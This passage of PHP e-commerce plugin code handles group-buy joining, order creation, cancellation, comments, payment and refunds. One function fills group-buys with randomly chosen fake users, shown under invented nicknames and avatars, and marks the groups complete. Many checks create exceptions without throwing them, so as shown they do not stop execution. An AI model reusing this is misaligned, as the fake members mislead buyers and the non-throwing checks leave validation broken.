$redis->HSET($activityHashKey, $grouponUserlistKey, json_encode($userList));
}
}
/**
* 判断加入旧拼团
*/
protected function checkJoinGroupon($goods_info, $user, $groupon_id)
{
$goods = $goods_info['detail'];
$activity = $goods['activity'];
$rules = $activity['rules'];
// 获取团信息
$activityGroupon = ActivityGroupon::with('activity')->where('id', $groupon_id)->find();
if (!$activityGroupon) {
new Exception('要参与的团不存在');
}
// 判断团所属活动是否正常
if (!$activityGroupon->activity || $activityGroupon->activity['id'] != $activity['id']) { // 修复,后台手动将活动删除,然后又立即给这个商品创建新的拼团活动,导致参与新活动的旧团错乱问题
new Exception('要参与的活动已结束');
}
if ($activityGroupon['status'] != 'ing') {
new Exception('要参与的团已成团,请选择其它团或自己开团');
}
if ($activityGroupon['current_num'] >= $activityGroupon['num']) {
new Exception('该团已满,请参与其它团或自己开团');
}
if (!$this->hasRedis()) {
// 没有 redis 直接判断数据库团信息,因为 current_num 支付成功才会累加,故无法保证超员,
// 该团可加入
return $activityGroupon;
}
$keys = $this->getKeys([
'groupon_id' => $activityGroupon['id'],
'goods_id' => $activityGroupon['goods_id'],
], [
'activity_id' => $activity['id'],
'activity_type' => $activity['type'],
]);
extract($keys);
$redis = $this->getRedis();
$current_num = $redis->HGET($activityHashKey, $grouponNumKey);
if ($current_num >= $activityGroupon['num']) {
new Exception('该团已满,请参与其它团或自己开团');
}
// 将用户加入拼团缓存,用来判断同一个人在一个团,多次下单,订单失效删除
$userList = $redis->HGET($activityHashKey, $grouponUserlistKey);
$userList = json_decode($userList, true);
$userIds = array_column($userList, 'user_id');
if (in_array($user['id'], $userIds)) {
new Exception('您已参与该团,请不要重复参团');
}
return $activityGroupon;
}
/**
* 支付成功真实加入团
*/
protected function joinGroupon($order, $user) {
$item = $order->item;
$goods_item = $item[0]; // 拼团只能单独购买
// 扩展字段
$order_ext = $order['ext_arr'];
// 团 id
$groupon_id = (int)($order_ext['groupon_id'] ?? 0);
$buy_type = $order_ext['buy_type'] ?? 'alone';
// 不是拼团购买,比如拼团单独购买
if ($buy_type !== 'groupon') {
return true;
}
if ($groupon_id) {
// 加入旧团,查询团
$activityGroupon = ActivityGroupon::where('id', $groupon_id)->find();
if (!$activityGroupon) {
\think\Log::write('joinGroupon: 团不存在, order_id=' . $order['id'] . ', groupon_id=' . $groupon_id);
return false;
}
} else {
// 加入新团,创建团
$activityGroupon = $this->joinNewGroupon($order, $user);
}
if (!$activityGroupon) {
return false;
}
// 添加参团记录
$activityGrouponLog = $this->addGrouponLog($order, $user, $activityGroupon);
if (!$activityGrouponLog) {
return false;
}
return $this->checkGrouponStatus($activityGroupon);
}
/**
* 支付成功开启新拼团
*/
protected function joinNewGroupon($order, $user)
{
$item = $order->item;
$goodsItem = $item[0]; // 拼团只能单独购买
// 获取活动
$activity = Activity::where('id', $goodsItem['activity_id'])->find();
$rules = $activity['rules'];
// 小于 0 不限结束时间单位小时
$expiretime = 0;
if (isset($rules['valid_time']) && $rules['valid_time'] > 0) {
// 转为 秒
$expiretime = $rules['valid_time'] * 3600;
}
// 开团
$activityGroupon = new ActivityGroupon();
$activityGroupon->user_id = $user['id'];
$activityGroupon->goods_id = $goodsItem['goods_id'];
$activityGroupon->activity_id = $goodsItem['activity_id'];
$activityGroupon->num = $rules['team_num'] ?? 1; // 避免活动找不到
$activityGroupon->current_num = 0; // 真实团成员等支付完成之后再增加
$activityGroupon->status = 'ing';
$activityGroupon->expiretime = $expiretime > 0 ? (time() + $expiretime) : 0;
$activityGroupon->save();
// 记录团 id
$order->ext = json_encode($order->setExt($order, ['groupon_id' => $activityGroupon->id])); // 团 id
$order->save();
// 将团信息存入缓存,增加缓存中当前团人数
$this->grouponCacheForwardNum($activityGroupon, $activity, $user, 'payed');
if ($expiretime > 0) {
// 增加自动关闭拼团队列(如果有虚拟成团,会判断虚拟成团)
\think\Queue::later($expiretime, '\addons\shopro\job\ActivityGrouponAutoOper@expire', [
'activity' => $activity,
'activity_groupon_id' => $activityGroupon->id
], 'shopro');
}
return $activityGroupon;
}
/**
* 增加团成员记录
*/
protected function addGrouponLog($order, $user, $activityGroupon) {
if (!$activityGroupon) {
\think\Log::write('groupon-notfund: order_id: ' . $order['id']);
return null;
}
$item = $order->item;
$goodsItem = $item[0]; // 拼团只能单独购买
// 增加团成员数量
$activityGroupon->setInc('current_num', 1);
// 增加参团记录
$activityGrouponLog = new ActivityGrouponLog();
$activityGrouponLog->user_id = $user['id'];
$activityGrouponLog->user_nickname = $user['nickname'];
$activityGrouponLog->user_avatar = $user['avatar'];
$activityGrouponLog->groupon_id = $activityGroupon['id'] ?? 0;
$activityGrouponLog->goods_id = $goodsItem['goods_id'];
$activityGrouponLog->goods_sku_price_id = $goodsItem['goods_sku_price_id'];
$activityGrouponLog->activity_id = $goodsItem['activity_id'];
$activityGrouponLog->is_leader = ($activityGroupon['user_id'] == $user['id']) ? 1 : 0;
$activityGrouponLog->is_fictitious = 0;
$activityGrouponLog->order_id = $order['id'];
$activityGrouponLog->save();
return $activityGrouponLog;
}
// 虚拟成团,增加虚拟成员,并判断是否完成,然后将团状态改为,虚拟成团成功
protected function finishFictitiousGroupon($activityGroupon, $num = 0, $users = []) {
// 拼团剩余人数
$surplus_num = $activityGroupon['num'] - $activityGroupon['current_num'];
// 团已经满员
if ($surplus_num <= 0) {
if ($activityGroupon['status'] == 'ing') {
// 已满员但还是进行中状态,检测并完成团,起到纠正作用
return $this->checkGrouponStatus($activityGroupon);
}
return true;
}
// 本次虚拟人数, 如果传入 num 则使用 num 和 surplus_num 中最小值, 如果没有传入,默认剩余人数全部虚拟
$fictitious_num = $num ? ($num > $surplus_num ? $surplus_num : $num) : $surplus_num;
// 查询虚拟用户
$userFakes = UserFake::orderRaw('rand()')->limit($fictitious_num)->select();
if (count($userFakes) < $fictitious_num && $num == 0) {
// 虚拟用户不足,并且是自动虚拟成团进程,自动解散团
return $this->invalidRefundGroupon($activityGroupon);
}
// 增加团人数
$activityGroupon->setInc('current_num', $fictitious_num);
for ($i = 0; $i < $fictitious_num; $i ++) {
// 先用传过来的
$avatar = isset($users[$i]['avatar']) ? $users[$i]['avatar'] : '';
$nickname = isset($users[$i]['nickname']) ? $users[$i]['nickname'] : '';
// 如果没有,用查的虚拟的
$avatar = $avatar ? : $userFakes[$i]['avatar'];
$nickname = $nickname ? : $userFakes[$i]['nickname'];
// 增加参团记录
$activityGrouponLog = new ActivityGrouponLog();
$activityGrouponLog->user_id = 0;
$activityGrouponLog->user_nickname = $nickname;
$activityGrouponLog->user_avatar = $avatar;
$activityGrouponLog->groupon_id = $activityGroupon['id'] ?? 0;
$activityGrouponLog->goods_id = $activityGroupon['goods_id'];
$activityGrouponLog->goods_sku_price_id = 0; // 没有订单,所以也就没有 goods_sku_price_id
$activityGrouponLog->activity_id = $activityGroupon['activity_id'];
$activityGrouponLog->is_leader = 0; // 不是团长
$activityGrouponLog->is_fictitious = 1; // 虚拟用户
$activityGrouponLog->order_id = 0; // 虚拟成员没有订单
$activityGrouponLog->save();
}
return $this->checkGrouponStatus($activityGroupon);
}
/**
* 团过期退款,或者后台手动解散退款
*/
protected function invalidRefundGroupon($activityGroupon, $user = null) {
$activityGroupon->status = 'invalid'; // 拼团失败
$activityGroupon->save();
// 查询参团真人
$logs = ActivityGrouponLog::with('order')->where('groupon_id', $activityGroupon['id'])->where('is_fictitious', 0)->select();
foreach ($logs as $key => $log) {
$order = $log['order'];
if ($order && $order['status'] > 0) {
// 退款,只能有一个 item
$item = $order['item'][0];
if ($item && in_array($item['refund_status'], [OrderItem::REFUND_STATUS_NOREFUND, OrderItem::REFUND_STATUS_ING])) {
// 未申请退款,或者退款中,直接全额退款
Order::startRefund($order, $order['item'][0], $order['pay_fee'], $user, '拼团失败退款');
}
}
// 修改 logs 为已退款
$log->is_refund = 1;
$log->save();
}
// 触发拼团失败行为
$data = ['groupon' => $activityGroupon];
\think\Hook::listen('activity_groupon_fail', $data);
return true;
}
/**
* 检查团状态
*/
protected function checkGrouponStatus($activityGroupon) {
if (!$activityGroupon) {
return true;
}
// 重新获取团信息
$activityGroupon = ActivityGroupon::where('id', $activityGroupon['id'])->find();
if ($activityGroupon['current_num'] >= $activityGroupon['num'] && !in_array($activityGroupon['status'], ['finish', 'finish-fictitious'])) {
// 查询是否有虚拟团成员
$fictitiousCount = ActivityGrouponLog::where('groupon_id', $activityGroupon['id'])->where('is_fictitious', 1)->count();
// 将团设置为已完成
$activityGroupon->status = $fictitiousCount ? 'finish-fictitious' : 'finish';
$activityGroupon->finishtime = time();
$activityGroupon->save();
// 触发成团行为
$data = ['groupon' => $activityGroupon];
\think\Hook::listen('activity_groupon_finish', $data);
}
return true;
}
}

查看文件

@@ -0,0 +1,980 @@
<?php
namespace addons\shopro\library\traits\model\order;
use addons\shopro\exception\Exception;
use addons\shopro\model\Coupons;
use addons\shopro\model\RobOrderModel;
use addons\shopro\model\User;
use addons\shopro\model\GoodsComment;
use addons\shopro\model\Order;
use addons\shopro\model\OrderAction;
use addons\shopro\model\OrderItem;
use addons\shopro\model\Store;
use addons\shopro\model\UserAddress;
use addons\shopro\model\Verify;
use app\admin\model\shopro\order\RefundLog;
use function fast\e;
use think\Db;
trait OrderOper
{
use OrderOperSendGet, OrderOperCreate;
// 获取订单号
public static function getSn($user_id)
{
$rand = $user_id < 9999 ? mt_rand(100000, 99999999) : mt_rand(100, 99999);
$order_sn = date('Yhis') . $rand;
$id = str_pad($user_id, (24 - strlen($order_sn)), '0', STR_PAD_BOTH);
return $order_sn . $id;
}
// 计算订单
public static function pre($params, $calc_type = 'pre')
{
self::$calc_type = $calc_type;
$user = User::info();
// 检测必要系统环境
checkEnv(['bcmath', 'queue']);
// 获取请求参数 "order_type", "groupon_id", "buy_type"
extract(self::preParams($params));
// 检测并重新组装要购买的商品列表
list(
$new_goods_list, // 组合好的新的商品列表
$activity_type, // 订单参与的活动类型,后面还需计算一次
$activity_discounts, // 订单可能参与的所有活动
$need_address, // 是否需要收货地址
$user_address // 用户收货地址
) = self::preCheck($params);
// 计算订单商品价格,所需积分,运费
list(
$new_goods_list, // 新的商品列表
$goods_original_amount, // 商品原始总价
$goods_amount, // 商品现在总价
$dispatch_amount, // 订单运费(所有商品种最高的,后面还需根据活动再次计算)
$score_amount, // 订单所需支付积分
$deliveryFee,
$dispatchData,
) = self::preCalcAmount($params, $new_goods_list, $user_address, $dispatch_id);
// 记录原始运费
$origin_dispatch_amount = $dispatch_amount;
// 计算订单优惠折扣,优惠券,邮费
list(
$new_goods_list, // 重新赋值活动, 商品上增加了 activity_type
$activity_discount_infos, // 每个活动包含的优惠信息
$activity_discount_money, // 促销活动优惠总金额
$dispatch_discount_money, // 邮费总优惠金额
$free_shipping_goods_ids, // 包邮的商品的ids
$activity_type, // 全部参与的活动类型
$dispatch_amount, // 重新计算的运费
$user_coupons, // 使用的优惠券信息
$coupon_money // 优惠券优惠金额
) = self::preCalcDiscount(
$params,
$new_goods_list,
$activity_discounts,
$activity_type,
$goods_amount,
$dispatch_amount,
$user_address
);
// 计算订单总金额,需支付金额
list(
$new_goods_list,
$total_amount,
$discount_fee,
$total_fee,
$coupon_fee,
) = self::preCalcOrder(
$new_goods_list,
$goods_amount,
$origin_dispatch_amount,
$dispatch_amount,
$activity_discount_infos,
$activity_discount_money,
$dispatch_discount_money,
$free_shipping_goods_ids,
$coupon_money,
$deliveryFee
);
// 获取发票金额
$invoice_amount = self::preCalcInvoiceAmount($total_fee, $goods_amount);
// 获取快递列表(即将废弃)
$expressName = '';
$expressList = Db::name('shopro_dispatch')
->where(['type' => 'express'])
->field(['id', 'name', 'type_ids'])
->select();
if (!empty($expressList) && !empty($dispatchData)) {
foreach ($expressList as &$v) {
if ($v['id'] === $dispatchData['dispatch_id']) {
$v['active'] = 1;
$expressName = $v['name'];
} else {
$v['active'] = 0;
}
}
}
// 处理返回结果
return self::preReturnParams(
$goods_original_amount,
$goods_amount,
$origin_dispatch_amount,
$dispatch_amount,
$total_amount,
$total_fee,
$discount_fee,
$coupon_fee,
$activity_discount_money,
$dispatch_discount_money,
$activity_type,
$score_amount,
$new_goods_list,
$need_address,
$activity_discount_infos,
$user_coupons,
$user_address,
$invoice_amount,
$deliveryFee,
$expressList,
$expressName
);
}
// 获取可用优惠券列表
public static function coupons($params, $goods_amount = 0)
{
$user = User::info();
extract($params);
$order_type = $order_type ?? 'goods';
$groupon_id = $groupon_id ?? 0; // 拼团的 团 id
$buy_type = $buy_type ?? 'alone'; // 拼团的 购买方式: alone=单独购买,groupon=开团
// 商品总金额
if (!$goods_amount) {
// 下单的时候把计算好的 goods_amount 传进来了,接口直接获取可用列表的时候,需要计算
foreach ($goods_list as $k => $goods) {
$goods_amount += ($goods['goods_price'] * $goods['goods_num']);
}
}
$coupons = Coupons::getCouponsList(Coupons::COUPONS_CAN_USE);
$new_coupons = [];
// 过滤,如果有一个产品不适用,则优惠券不允许使用,不显示
foreach ($coupons as $key => $coupon) {
if ($coupon['goods_ids'] === '0') {
// 所有商品可用
$can_use = true;
} else {
$goods_ids = explode(',', $coupon['goods_ids']);
$can_use = true;
foreach ($goods_list as $k => $goods) {
if (!in_array($goods['goods_id'], $goods_ids)) {
$can_use = false;
break;
}
}
}
// 商品可用 并且 商品金额满足
if ($can_use && $coupon->enough <= $goods_amount) {
$new_coupons[] = $coupon;
}
}
$new_coupons = array_values($new_coupons);
return $new_coupons;
}
public static function createOrder($params)
{
$user = User::info();
// 入参
extract($params);
$remark = $remark ?? null;
$order_type = $order_type ?? 'goods';
$groupon_id = $groupon_id ?? 0; // 拼团的 团 id
$buy_type = $buy_type ?? 'alone'; // 拼团的 购买方式: alone=单独购买,groupon=开团
$invoice = $invoice ?? null; // 发票申请
// 订单计算数据
extract(self::pre($params, "create"));
$order = Db::transaction(function () use (
$user,
$order_type,
$groupon_id,
$buy_type,
$goods_original_amount,
$goods_amount,
$dispatch_amount,
$total_amount,
$score_amount,
$total_fee,
$discount_fee,
$coupon_fee,
$activity_discount_money,
$dispatch_discount_money,
$activity_discount_infos,
$new_goods_list,
$activity_type,
$user_coupons,
$user_address,
$remark,
$from,
$invoice,
$invoice_amount,
$deliveryFee,
$expressName
) {
// 订单创建前
$data = [
'user' => $user,
'order_type' => $order_type,
'groupon_id' => $groupon_id,
'buy_type' => $buy_type,
'goods_original_amount' => $goods_original_amount,
'goods_amount' => $goods_amount,
'dispatch_amount' => $dispatch_amount,
'total_amount' => $total_amount,
'score_amount' => $score_amount,
'total_fee' => $total_fee,
'discount_fee' => $discount_fee,
'coupon_fee' => $coupon_fee,
'activity_discount_money' => $activity_discount_money,
'dispatch_discount_money' => $dispatch_discount_money,
'activity_discount_infos' => $activity_discount_infos,
'new_goods_list' => $new_goods_list,
'activity_type' => $activity_type,
'user_coupons' => $user_coupons,
'user_address' => $user_address,
'remark' => $remark,
'from' => $from
];
// 如果是抢购需看是否有名额才能下单
$activityId = 0;
if ($activity_type === 'robbuy') {
$activityId = $new_goods_list[0]['detail']['activity']['id'];
$id = RobOrderModel::where([
'user_id' => $user->id,
'activity_id' => $activityId,
'goods_id' => $new_goods_list[0]['detail']['id'],
'is_rob' => 1
])->value('id');
if (empty($id)) {
return [
'create_result' => 401,
'msg' => '你未获得抢购资格暂无法购买'
];
}
}
// 如果是活动,这里面减掉 redis 库存
\think\Hook::listen('order_create_before', $data);
// 团信息, 如果是参与旧团拼团才会不为 null,(开新团放到支付成功)
$groupon = cache('grouponinfo-' . $user->id);
$groupon = $groupon ? json_decode($groupon, true) : null;
// 立即清除缓存
cache('grouponinfo-' . $user->id, NULL);
$orderData = [];
$orderData['order_sn'] = self::getSn($user->id);
$orderData['user_id'] = $user->id;
$orderData['type'] = $order_type;
$orderData['activity_type'] = $activity_type;
$orderData['goods_amount'] = $goods_amount;
$orderData['dispatch_amount'] = $dispatch_amount;
$orderData['store_delivery_fee'] = $deliveryFee;
$orderData['total_amount'] = $total_amount;
$orderData['pay_fee'] = $total_amount;
$orderData['score_amount'] = $score_amount;
$orderData['total_fee'] = $total_fee;
$orderData['discount_fee'] = $discount_fee;
$orderData['score_fee'] = $score_amount; // 记录score 支付数
$orderData['coupon_fee'] = $coupon_fee;
$orderData['activity_discount_money'] = $activity_discount_money;
$orderData['dispatch_discount_money'] = $dispatch_discount_money;
$orderData['goods_original_amount'] = $goods_original_amount;
$orderData['last_total_fee'] = 0;
$orderData['activity_id'] = $activityId;
$orderData['express_name'] = $expressName;
if ($user_address) {
$orderData['phone'] = $user_address->phone;
$orderData['consignee'] = $user_address->consignee;
$orderData['province_name'] = $user_address->province_name;
$orderData['city_name'] = $user_address->city_name;
$orderData['area_name'] = $user_address->area_name;
$orderData['address'] = $user_address->address;
$orderData['province_id'] = $user_address->province_id;
$orderData['city_id'] = $user_address->city_id;
$orderData['area_id'] = $user_address->area_id;
}
// 处理发票申请
if ($invoice_amount > 0) {
if (!empty($invoice) && $invoice['amount'] == $invoice_amount) {
$orderData['invoice_status'] = 1; // 已申请
} else {
$orderData['invoice_status'] = 0; // 未申请
}
} else {
$orderData['invoice_status'] = -1; // 不可开具发票
}
$orderData['status'] = 0;
$orderData['remark'] = $remark;
$orderData['coupons_id'] = $user_coupons ? $user_coupons->id : 0;
$orderData['platform'] = request()->header('platform');
$ext = $activity_discount_infos ? ['activity_discount_infos' => $activity_discount_infos] : []; // 促销活动信息
$orderData['ext'] = json_encode($ext);
$order = new Order();
$order->allowField(true)->save($orderData);
// 将优惠券使用掉
if ($user_coupons) {
$user_coupons->use_order_id = $order->id;
$user_coupons->usetime = time();
$user_coupons->save();
}
// 如果需要支付积分,扣除积分
if ($score_amount) {
// $user 为 Common\Auth 对象
User::score(-$score_amount, $user->id, 'score_pay', $order->id, '', [
'order_id' => $order->id,
'order_sn' => $order->order_sn,
]);
}
// 添加发票数据
if ($order->invoice_status == 1) {
\addons\shopro\model\OrderInvoice::create([
'order_id' => $order->id,
'user_id' => $order->user_id,
'amount' => $invoice['amount'],
'type' => $invoice['type'],
'header_name' => $invoice['header_name'],
'tax_no' => $invoice['tax_no'],
'mobile' => $invoice['mobile'],
]);
}
// 添加 订单 item
foreach ($new_goods_list as $key => $buyinfo) {
$detail = $buyinfo['detail'];
$current_sku_price = $detail['current_sku_price'];
$orderItem = new OrderItem();
$orderItem->user_id = $user->id;
$orderItem->order_id = $order->id;
$orderItem->goods_id = $buyinfo['goods_id'];
$orderItem->goods_type = $detail['type'];
$orderItem->goods_sku_price_id = $buyinfo['sku_price_id'];
$item_activity_type = (isset($current_sku_price['activity_type']) && $current_sku_price['activity_type']) ? $current_sku_price['activity_type'] : '';
$item_activity_type .= $buyinfo['activity_type'] ? ',' . $buyinfo['activity_type'] : '';
$item_activity_type = trim($item_activity_type, ',');
$orderItem->activity_id = $current_sku_price['activity_id'] ?? 0; // 商品当前的活动类型
$orderItem->activity_type = $item_activity_type ?: null; // 商品当前的活动类型
// 当前商品规格对应的 活动下对应商品规格的 id
$orderItem->item_goods_sku_price_id = isset($current_sku_price['item_goods_sku_price']) ?
$current_sku_price['item_goods_sku_price']['id'] : 0;
$orderItem->goods_sku_text = $current_sku_price['goods_sku_text'];
$orderItem->goods_title = $detail->title;
$orderItem->goods_image = empty($current_sku_price['image']) ? $detail->image : $current_sku_price['image'];
$orderItem->goods_original_price = $detail->original_price;
$orderItem->discount_fee = $buyinfo['discount_fee']; // 平均计算单件商品所享受的折扣
$orderItem->pay_price = $buyinfo['pay_price']; // 平均计算单件商品不算运费,算折扣时候的金额
$orderItem->goods_price = $detail->current_sku_price->price;
$orderItem->goods_num = $buyinfo['goods_num'] ?? 1;
$orderItem->goods_weight = $detail->current_sku_price->weight;
$orderItem->dispatch_status = 0;
$orderItem->dispatch_fee = $buyinfo['dispatch_amount'];
$orderItem->dispatch_type = $buyinfo['dispatch_type'];
$orderItem->dispatch_id = $buyinfo['dispatch_id'] ? $buyinfo['dispatch_id'] : 0;
$orderItem->store_id = $buyinfo['store_id'] ? $buyinfo['store_id'] : 0;
$orderItem->aftersale_status = 0;
$orderItem->comment_status = 0;
$orderItem->refund_status = 0;
$ext = [];
if (isset($buyinfo['dispatch_date'])) {
$ext['dispatch_date'] = $buyinfo['dispatch_date'];
}
if (isset($buyinfo['dispatch_phone'])) {
$ext['dispatch_phone'] = $buyinfo['dispatch_phone'];
}
$orderItem->ext = json_encode($ext);
$orderItem->save();
}
// 订单创建后
$data = [
'user' => $user,
'order' => $order,
'from' => $from,
'groupon' => $groupon,
'buy_type' => $buy_type,
'activity_type' => $activity_type,
'new_goods_list' => $new_goods_list
];
\think\Hook::listen('order_create_after', $data);
// 重新获取订单
$order = self::where('id', $order['id'])->find();
$order['create_result'] = 200;
saveUserMessage([
'user_id' => $user->id,
'content' => "您成功创建了订单:订单号:{$order->order_sn}",
'create_time' => time()
]);
return $order;
});
return $order;
}
// 订单列表
public static function getList($params)
{
$user = User::info();
extract($params);
$order = (new self())->where('user_id', $user->id)->with('item');
switch ($type) {
case 'all':
$order = $order;
break;
case 'nopay':
$order = $order->nopay();
break;
case 'nosend':
$order = $order->payed()->nosend();
break;
case 'noget':
$order = $order->payed()->noget();
break;
case 'nocomment':
$order = $order->payed()->nocomment();
break;
case 'aftersale':
$order = $order->payed()->aftersale(); // 个人中心售后单不在走这里,而是直接走的售后单列表
break;
}
$orders = $order->order('id', 'desc')->paginate(10);
// 处理未支付订单 item status_code
$orders = $orders->toArray();
if ($orders['data']) {
$data = $orders['data'];
foreach ($data as $key => $od) {
$data[$key] = self::setOrderItemStatusByOrder($od);
}
$orders['data'] = $data;
}
return $orders;
}
// 订单详情
public static function detail($params)
{
$user = User::info();
extract($params);
$order = (new self())->with('item')->where('user_id', $user->id);
if (isset($order_sn)) {
$order = $order->where('order_sn', $order_sn);
}
if (isset($id)) {
$order = $order->where('id', $id);
}
$order = $order->find();
if (!$order) {
new Exception('订单不存在');
}
// 处理未支付订单 item status_code
$order = self::setOrderItemStatusByOrder($order);
// 用户余额
$order['user_money'] = $user->money;
// 手机号码
$order['user_mobile'] = hideStr($user->mobile, 3, 6);
// 组合付款金额
$order['group_fee'] = bcsub($order['total_fee'], $user->money, 2);
return $order;
}
// 订单商品详情
public static function itemDetail($params)
{
$user = User::info();
extract($params);
$type = $type ?? 'default';
$order = (new self())->with(['item' => function ($query) use ($order_item_id) {
$query->where('id', $order_item_id);
}])->where('user_id', $user->id);
if (isset($order_sn)) {
$order = $order->where('order_sn', $order_sn);
}
if (isset($id)) {
$order = $order->where('id', $id);
}
$order = $order->find();
if (!$order || !$order->item) {
new Exception('订单不存在');
}
// 处理未支付订单 item status_code
$order = self::setOrderItemStatusByOrder($order);
$item = $order['item'][0];
unset($order['item']); // 移除订单表中的 item
$item['order'] = $order; // 订单信息
if ($type == 'dispatch') {
$store = null;
$verifies = [];
if (in_array($item['dispatch_type'], ['selfetch', 'store']) && $item['store_id']) {
// 自提,商家配送
if (
$item['dispatch_type'] == 'selfetch'
&& $item['dispatch_status'] == OrderItem::DISPATCH_STATUS_SENDED
&& $item['refund_status'] <= 0
) {
// 关联核销码
$verifies = Verify::where('order_id', $item['order_id'])
->where('order_item_id', $item['id'])->select();
}
$store = Store::where('id', $item['store_id'])->find();
}
$item['store'] = $store; // 门店信息
$item['verify'] = $verifies; // 核销券列表
// $item['autosend']
// 订单详情,自动发货内容 待补充
}
return $item;
}
// 取消订单
public static function operCancel($params)
{
$user = User::info();
extract($params);
$order = self::with('item')->where('user_id', $user->id)->where('id', $id)->nopay()->find();
if (!$order) {
new Exception('订单不存在或已取消');
}
// 订单取消
$order = (new self)->doCancel($order, $user);
return $order;
}
public function doCancel($order, $user, $type = 'user')
{
$order = Db::transaction(function () use ($order, $user, $type) {
$data = ['order' => $order];
\think\Hook::listen('order_cancel_before', $data);
$order->status = Order::STATUS_CANCEL; // 取消订单
$order->ext = json_encode($order->setExt($order, ['cancel_time' => time()])); // 取消时间
$order->save();
OrderAction::operAdd($order, null, $user, $type, ($type == 'user' ? '用户' : '管理员') . '取消订单');
// 订单取消,退回库存,退回优惠券积分,等
$data = ['order' => $order];
\think\Hook::listen('order_cancel_after', $data);
return $order;
});
return $order;
}
private static function getItem($order, $order_item_id)
{
if (!$order) {
new Exception('当前订单不存在');
}
$order_item = null;
foreach ($order->item as $item) {
if ($item->id == $order_item_id) {
$order_item = $item;
break;
}
}
if (!$order_item) {
new Exception('订单商品不需要操作');
}
return $order_item;
}
// 确认收货订单
public static function operConfirm($params)
{
$user = User::info();
extract($params);
$order = Db::transaction(function () use ($id, $order_item_id, $user) {
// 加锁查询订单,exist 里面的子查询不会加锁,但是该语句需要等待锁释放才能正常查询,所以下面的获取 item 已经是更改过状态之后的了
$order = self::noget()->where('user_id', $user->id)->where('id', $id)->lock(true)->find();
// 获取要操作的 订单 item
$item = self::getItem($order, $order_item_id);
if ($item->dispatch_status == OrderItem::DISPATCH_STATUS_NOSEND) {
new Exception('当前订单未发货');
}
if ($item->dispatch_status == OrderItem::DISPATCH_STATUS_GETED) {
new Exception('当前订单已收货');
}
(new self())->getedItem($order, $item, ['oper_type' => 'user']);
});
return $order;
}
// 删除订单
public static function operDelete($params)
{
$user = User::info();
extract($params);
$order = self::canDelete()->where('user_id', $user->id)->where('id', $id)->find();
if (!$order) {
new Exception('订单不存在或不可删除');
}
$order = Db::transaction(function () use ($order, $user) {
$order->delete(); // 删除订单
OrderAction::operAdd($order, null, $user, 'user', '用户删除订单');
return $order;
});
return $order;
}
// 评价
public static function operComment($params)
{
$user = User::info();
$order = Db::transaction(function () use ($user, $params) {
extract($params);
// 加锁读取订单,直到订单评价状态改变
$order = self::with('item')->payed()->where('user_id', $user->id)->where('id', $id)->lock(true)->find();
// 获取要操作的 订单 item
$item = self::getItem($order, $order_item_id);
if ($item->comment_status == 1) {
new Exception('当前商品已评价');
}
// 订单评价前
$data = ['order' => $order, 'item' => $item];
\think\Hook::listen('order_comment_before', $data); // 重新拿到更新过的订单
$images = (isset($images) && $images) ? $images : null;
// 获取用户评论配置
$config = \addons\shopro\model\Config::where('name', 'order')->value('value');
$config = json_decode($config, true);
GoodsComment::create([
'goods_id' => $item->goods_id,
'order_id' => $order->id,
'order_item_id' => $item->id,
'user_id' => $user->id,
'level' => $level,
'content' => $content,
'images' => $images ? implode(',', $images) : $images,
'status' => !empty($config['user_reply']) ? 'show' : 'hidden'
]);
$item->comment_status = OrderItem::COMMENT_STATUS_OK; // 评价成功
$item->save();
OrderAction::operAdd($order, $item, $user, 'user', '用户评价成功');
// 订单评价后
$data = ['order' => $order, 'item' => $item];
\think\Hook::listen('order_comment_after', $data);
return $order;
});
return $order;
}
// 个人中心订单数量
public static function statusNum()
{
$user = User::info();
$status_num['nopay'] = self::where('user_id', $user->id)->nopay()->count();
$status_num['nosend'] = self::where('user_id', $user->id)->payed()->nosend()->count();
$status_num['noget'] = self::where('user_id', $user->id)->payed()->noget()->count();
$status_num['nocomment'] = self::where('user_id', $user->id)->payed()->nocomment()->count();
// $status_num['aftersale'] = self::where('user_id', $user->id)->payed()->aftersale()->count();
$status_num['aftersale'] = \addons\shopro\model\OrderAftersale::where('user_id', $user->id)->count();
return $status_num;
}
public function paymentProcess($order, $notify)
{
$order->status = Order::STATUS_PAYED;
$order->paytime = time();
$order->transaction_id = $notify['transaction_id'];
$order->payment_json = $notify['payment_json'];
$order->pay_type = $notify['pay_type'];
$order->pay_fee = $notify['pay_fee'];
// 组合支付更新付款金额
if ($order->pay_type == 'group') {
$order->total_fee = bcsub($order->total_fee, $order->pay_money, 2);
}
$order->save();
saveUserMessage([
'user_id' => $order->user_id,
'content' => "付款成功,订单号:{$order->order_sn}",
'create_time' => time()
]);
$user = User::where('id', $order->user_id)->find();
OrderAction::operAdd($order, null, $user, 'user', '用户支付成功');
// 组合支付扣除用户余额(记录流水并校验充裕性)
if ($order->pay_type == 'group' && $order->pay_money > 0) {
User::money(-$order->pay_money, $user->id, 'wallet_pay', $order->id, '组合付款扣除余额', [
'order_id' => $order->id,
'order_sn' => $order->order_sn,
]);
}
// 预约抢购标记成已使用
if ($order->activity_type === 'robbuy') {
RobOrderModel::where([
'user_id' => $user->id,
'activity_id' => $order->activity_id,
'goods_id' => OrderItem::where(['order_id' => $order->id])->value('goods_id')
])->update(['is_use' => 1]);
}
// 支付成功后续使用异步队列处理
\think\Queue::push('\addons\shopro\job\OrderPayed@payed', ['order' => $order, 'user' => $user], 'shopro-high');
return $order;
}
// 开始退款
public static function startRefund($order, $item, $refund_money, $user = null, $remark = '')
{
// 订单退款前
$data = ['order' => $order, 'item' => $item];
\think\Hook::listen('order_refund_before', $data);
$item->refund_status = \app\admin\model\shopro\order\OrderItem::REFUND_STATUS_OK; // 同意退款
$item->refund_fee = bcadd($item->refund_fee, $refund_money, 2);;
$item->save();
\addons\shopro\model\OrderAction::operAdd($order, $item, $user, ($user ? 'admin' : 'system'), $remark . ',退款金额:' . $refund_money);
\app\admin\model\shopro\order\Order::refund($order, $item, $refund_money, $remark);
// 订单退款后
$data = ['order' => $order, 'item' => $item];
\think\Hook::listen('order_refund_after', $data);
}
// 退款
public static function refund($order, $item, $refund_money, $remark = '')
{
// 生成退款单
$refundLog = new RefundLog();
$refundLog->order_sn = $order->order_sn;
$refundLog->refund_sn = RefundLog::getSn($order->user_id);
$refundLog->order_item_id = $item->id;
$refundLog->pay_fee = $order->pay_fee;
$refundLog->refund_fee = $refund_money;
$refundLog->pay_type = $order->pay_type;
$refundLog->save();
if ($order->pay_type == 'wechat' || $order->pay_type == 'alipay') {
// 微信|支付宝退款
// 退款数据
$order_data = [
'out_trade_no' => $order->order_sn
];
if ($order->pay_type == 'wechat') {
$total_fee = $order->pay_fee * 100;
